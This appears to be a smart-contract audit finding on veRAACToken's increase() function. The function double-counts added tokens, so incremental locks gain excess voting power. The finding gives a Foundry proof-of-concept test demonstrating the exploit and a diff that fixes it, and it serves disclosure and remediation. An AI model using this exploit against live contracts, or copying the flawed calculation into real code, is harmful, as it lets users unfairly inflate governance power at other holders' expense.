The `increase()` function in veRAACToken incorrectly calculates voting power when users add tokens to their existing lock. Users who lock tokens incrementally through multiple `increase()` calls receive more voting power than users who lock the same total amount in a single `lock()` call.
function increase(uint256 amount) external nonReentrant whenNotPaused {
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) =
@> _votingState.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}
The vulnerability stems from the function calculating new voting power using `userLock.amount + amount`. This leads to a higher voting power calculation than if the total amount was locked initially.
pragma solidity ^0.8.19;
import {FeeCollector} from "../../../../contracts/core/collectors/FeeCollector.sol";
import {RAACToken} from "../../../../contracts/core/tokens/RAACToken.sol";
import {veRAACToken} from "../../../../contracts/core/tokens/veRAACToken.sol";
import {Test, console} from "forge-std/Test.sol";
contract TestSuite is Test {
FeeCollector feeCollector;
RAACToken raacToken;
veRAACToken veRAACTok;
address treasury;
address repairFund;
address admin;
uint256 initialSwapTaxRate = 100;
uint256 initialBurnTaxRate = 50;
function setUp() public {
treasury = makeAddr("treasury");
repairFund = makeAddr("repairFund");
admin = makeAddr("admin");
raacToken = new RAACToken(admin, initialSwapTaxRate, initialBurnTaxRate);
veRAACTok = new veRAACToken(address(raacToken));
feeCollector = new FeeCollector(address(raacToken), address(veRAACTok), treasury, repairFund, admin);
vm.startPrank(admin);
raacToken.setFeeCollector(address(feeCollector));
raacToken.setMinter(admin);
vm.stopPrank();
}
function testMultipleIncreasesGivesMoreVotingPowerThanOneLock() public {
address oneLockUser = makeAddr("oneLockUser");
address increaseUser = makeAddr("increaseUser");
uint256 oneLockAmount = 2e18;
uint256 increaseLockAmount = 1e18;
uint256 minDuration = veRAACTok.MIN_LOCK_DURATION();
vm.startPrank(admin);
raacToken.mint(oneLockUser, oneLockAmount);
raacToken.mint(increaseUser, oneLockAmount);
vm.stopPrank();
vm.startPrank(oneLockUser);
raacToken.approve(address(veRAACTok), oneLockAmount);
veRAACTok.lock(oneLockAmount, minDuration);
vm.stopPrank();
vm.startPrank(increaseUser);
raacToken.approve(address(veRAACTok), oneLockAmount);
veRAACTok.lock(increaseLockAmount, minDuration);
veRAACTok.increase(increaseLockAmount);
vm.stopPrank();
uint256 oneLockUserVeBalance = veRAACTok.balanceOf(oneLockUser);
uint256 oneLockUserVotingPower = veRAACTok.getVotingPower(oneLockUser);
uint256 increaseUserVeBalance = veRAACTok.balanceOf(increaseUser);
uint256 increaseUserVotingPower = veRAACTok.getVotingPower(increaseUser);
assertGt(increaseUserVeBalance, oneLockUserVeBalance);
assertGt(increaseUserVotingPower, oneLockUserVotingPower);
}
}
Users can game the system to get more voting power than intended, undermining the fairness of the governance system.
function increase(uint256 amount) external nonReentrant whenNotPaused {
.
.
.
- (int128 newBias, int128 newSlope) =
- _votingState.calculateAndUpdatePower(msg.sender, userLock.amount + amount, userLock.end);
+ (int128 newBias, int128 newSlope) =
+ _votingState.calculateAndUpdatePower(msg.sender, userLock.amount, userLock.end);
.
.
.
}